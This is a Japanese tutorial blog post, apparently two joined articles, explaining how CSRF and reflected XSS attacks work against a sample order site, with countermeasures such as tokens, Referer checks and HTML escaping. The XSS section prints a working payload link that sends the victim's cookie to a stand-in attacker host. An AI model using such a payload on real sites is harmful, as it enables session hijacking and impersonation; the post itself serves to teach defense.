クロスサイトリクエストフォージェリ(CSRF)の攻撃手法を整理してみた。

商品注文サイトを例にしてクロスサイトスクリプトフォージェリ(CSRF)の攻撃手法を整理してみようと思います。商品注文サイトはログイン画面で顧客の認証を行い、認証OKとなった場合に商品を注文できるようになっています。商品を注文する画面は、注文画面、確認画面、完了画面で構成されているとします。

  1. 顧客は注文画面で商品を入力して「注文」ボタンを押下します。
  2. 確認画面に遷移し、注文内容に間違いがなければ「確定」ボタンを押下します。
  3. 注文が完了し、完了画面が表示されます。

確認画面から完了画面に遷移するところですが、確認画面のフォームは以下であったとします。

このフォームでは確定ボタンを押下(submit)すると、syohin に”りんご”、kosu に”1”を設定して POST メソッドでPHPプログラム(commit.php)に値を引き渡します。PHPプログラムでは注文処理を行ってから完了画面を表示するHTMLをブラウザに返します。

仮に、この商品注文サイトにCSRFに対する脆弱性があったものとして(脆弱性については後述)、CSRFの攻撃を受けてしまった場合のやりとりは以下のようになります。商品注文サイトを攻撃対象のサイトと呼んでいます。

①顧客が攻撃対象のサイトにアクセスしてログインします。
②認証を行いOKであればセッションIDが顧客に発行されます。
③顧客が(気づかずに)悪意あるサイトにアクセスします。
④悪意あるサイトからレスポンスが返されます。
⑤仕込まれたJavaScriptがブラウザ上で実行されます。
⑥商品の注文確定処理が行われてしまいます。

①〜⑥の順に説明します。

[広告]

クロスサイトリクエストフォージェリによる攻撃手法

■①顧客が攻撃対象のサイトにアクセスしてログインします。

ブラウザがHTTPで商品注文サイトにアクセスします。ログイン画面が表示されて顧客はユーザ/パスワードの認証情報を入力します。

■②認証を行いOKであればセッションIDが顧客に発行されます。

商品注文サイトでは顧客の認証を行い、認証OKであればセッションIDを発行します。ブラウザは商品注文サイトにアクセスするときはこのセッションIDを設定してアクセスし、商品注文サイトはセッションIDで顧客を認証します。

■③顧客が(気づかずに)悪意あるサイトにアクセスします。

この状態(顧客が商品注文サイトにログイン済みの状態)で、悪意あるサイトにアクセスします。

■④悪意あるサイトからレスポンスが返されます。

このレスポンスの中に攻撃コード(JavaScript)が含まれています。以下が攻撃コードの例です。この例では勝手に「みかん10個を注文する」コードです。

■⑤仕込まれたJavaScriptがブラウザ上で実行されます。

このJavaScriptは画面表示された際に確定ボタンを押下(submit)の処理を自動で行ってしまいます。処理の内容としては、syohin に”みかん”、kosu に”10”を設定して commit.php に値を引き渡します。つまり、勝手に「みかん10個を注文する」コードとなっています。

■⑥商品の注文確定処理が行われてしまいます。

ブラウザから渡ってきた注文内容をそのまま処理してしまいます。悪意あるサイトにアクセス(もしくは、悪意あるサイトのリンクをクリック)しただけで、意図しない注文が確定してしまうことになります。

[広告]

対策はどうしたらよいか?

ブラウザからの通常のリクエストも悪意のあるサイトを経由したリクエストも正規のセッションIDが設定されているのでセッションIDで違いを見分けるわけにはいきません。そこで着目するべきは画面遷移です。この例でいうと問題になっているのは確認画面から完了画面への遷移のときで、その画面遷移を制御するPHPプログラム(commit.php)が、本来の確認画面からの遷移だったか?の判断ができるようになれば問題はなくなります。以下にその方法を書いてみます。

■Refererで遷移元の画面を確認する。

上記の⑥で commit.php にアクセスがあった際にHTTPヘッダーのRefererを確認します。Refererが確認画面のURLであれば正当なリクエストと判断します。もし確認画面のURLでない場合は注文処理は行わず、ブラウザにはエラーを返すようにします。ただ、ブラウザの設定によってはRefererを送付しないようになっている場合もあり、注意が必要です。

■hiddenフィールドを使った隠し情報で確認する。

確認画面のフォームをブラウザに送る際に、hiddenフィールドを使って隠し情報もブラウザに連携しておきます。隠し情報は疑似乱数などで、リクエストごとに変わるものです。上記の⑥の際でブラウザから渡ってきた隠し情報を確認し、事前に連携した隠し情報と一致すれば正当なリクエストと判断します。悪意あるサイトを経由した場合はこの隠し情報がない、もしくは一致しないので不正なリクエストとして排除できます。

■確認画面で再度パスワード入力を求める。

これが一番簡単な方法です。顧客にはパスワードを入力してもらい、渡ってきたパスワードが正しいかどうかで判断します。悪意あるサイトが顧客の正しいパスワードを設定することはできません。ただしこの方法は顧客には負担がかかることになります。

クロスサイトリクエストフォージェリ(CSRF)と似たような名前の攻撃で、クロスサイトスクリプティング(XSS)というものがあります。ただこの2つは違うものです。クロスサイトスクリプティングについては前回の記事を見てみてください。

クロスサイトスクリプティング(XSS)の攻撃手法を整理してみた。

クロスサイトスクリプティング(XSS)というWEBサイトに対しての攻撃があるのですが、このXSSの動きを整理してみました。

あるサイトにはテキストの入力欄があり送信ボタンを押すと、入力した文字を画面に表示することができます。この画面表示はPHPプログラム(commit.php)で行われますが、送信フォームからプログラムへのデータの引き渡しは GET メソッドで行われていたとします。

仮に、このサイトにはXSSに対する脆弱性があったものとして(脆弱性の内容は後述)、XSSの攻撃を受けてしまった場合のやりとりは以下のようになります。

①ユーザーが(気づかずに)悪意あるサイトにアクセスします。
②悪意あるサイトからのレスポンスで攻撃対象のサイトへのリンクが表示されます。
③ユーザーがそのリンクをクリックします。
④ブラウザが攻撃対象のサイトへアクセスします。
⑤攻撃対象のサイトからレスポンスが返されます。
⑥仕込まれたJavaScriptがブラウザ上で実行されます。
⑦ブラウザにある情報(クッキー)が盗まれてしまいます。

①〜⑦の順に説明します。

[広告]

クロスサイトスクリプティングによる攻撃手法

■①ユーザーが(気づかずに)悪意あるサイトにアクセスします。

ブラウザがHTTPで悪意あるサイトにアクセスします。

■②悪意あるサイトからのレスポンスで攻撃対象のサイトへのリンクが表示されます。

悪意あるサイトからHTMLで結果が返されてブラウザが画面表示します。

■③ユーザーがそのリンクをクリックします。

画面表示されているリンクのHTMLが以下であったとします(ここに攻撃コードが埋め込まれています)。

<a href=”http://www.target.com/commit.php?data=<script>location.replace(‘http://www.malicious.com/cgi-bin/abc.cgi?cookie=’ + document.cookie);</script>“>クリック!</a>

このHTMLの説明です。

攻撃対象のサイトでは GET メソッドでPHPプログラムに入力データの引き渡しを行っているので、クエリストリングに入力データを設定すれば同じ結果になります。これを利用してアンカータグで攻撃対象のサイトへのリンクを指定していますが、そのリンクにはクエリストリングが付与されています(?data=・・のところ)。そして、入力データの内容は太字部分になります。

太字部分ですが、JavaScriptのコードです。攻撃対象のサイトのクッキーを取得(document.cookie)した上でcookie変数に格納し(?cookie=・・のところ)、悪意のあるサイトのabc.cgiプログラムに転送(location.replace・・)しなさいという意味になります。

ユーザーがこのリンクを(運悪く)クリックします。

■④ブラウザが攻撃対象のサイトへアクセスします。

HTTPで攻撃対象のサイトにアクセスします。

■⑤攻撃対象のサイトからレスポンスが返されます。

攻撃対象のサイトからHTMLで結果が返されてブラウザが画面表示します。JavaScriptのコードが含まれています(③の太字部分です)。

■⑥仕込まれたJavaScriptがブラウザ上で実行されます。

画面表示しようとした際にJavaScriptのコードがブラウザ上で実行されてしまいます。

■⑦ブラウザにある情報(クッキー)が盗まれてしまいます。

攻撃対象のサイトのクッキーが、悪意あるサイトに渡ってしまいます。クッキーにセッションIDが格納されていた場合は「なりすまし」をされてしまう恐れがあります。

[広告]

対策はどうしたらよいか?

そもそもXSSは外部から攻撃コードを送り込む攻撃です。ですので送り込まれてきたデータの入力チェックが必要です。XSSの攻撃を受けるサイトの一番の問題は「仕込まれたデータ(JavaScript等)がブラウザ上で実行されてしまう」点にあります。本来であればJavaScriptのコードも文字列として画面表示するべきです。どうしたらよいかというと、⑤の際にJavaScriptのコードを無害化(文字列の扱いとして)ブラウザに返すことが必要です。この無害化することをサニタイジング、無害化する処理をエスケープ処理と呼んでいます。以下は、エスケープ処理の例です。

& → &amp;
< → &lt;
> → &gt;
" → &quot;(ダブルクォート)
' → &#39;(シングルクォート)

エスケープ処理を施したHTMLはブラウザで文字列として認識されます。

なお、今回の例ではGETメソッドでPHPプログラムにデータの引き渡しの例を説明しました。POSTに変えたら大丈夫じゃないか?と思われるかもしれませんがPOSTでもJavaScriptを実行させるコードを書けば同じことです。対策としてはやはりサニタイジングを行うことが必要です。

次回は、クロスサイトリクエストフォージェリ(CSRF)について書いてみようと思います。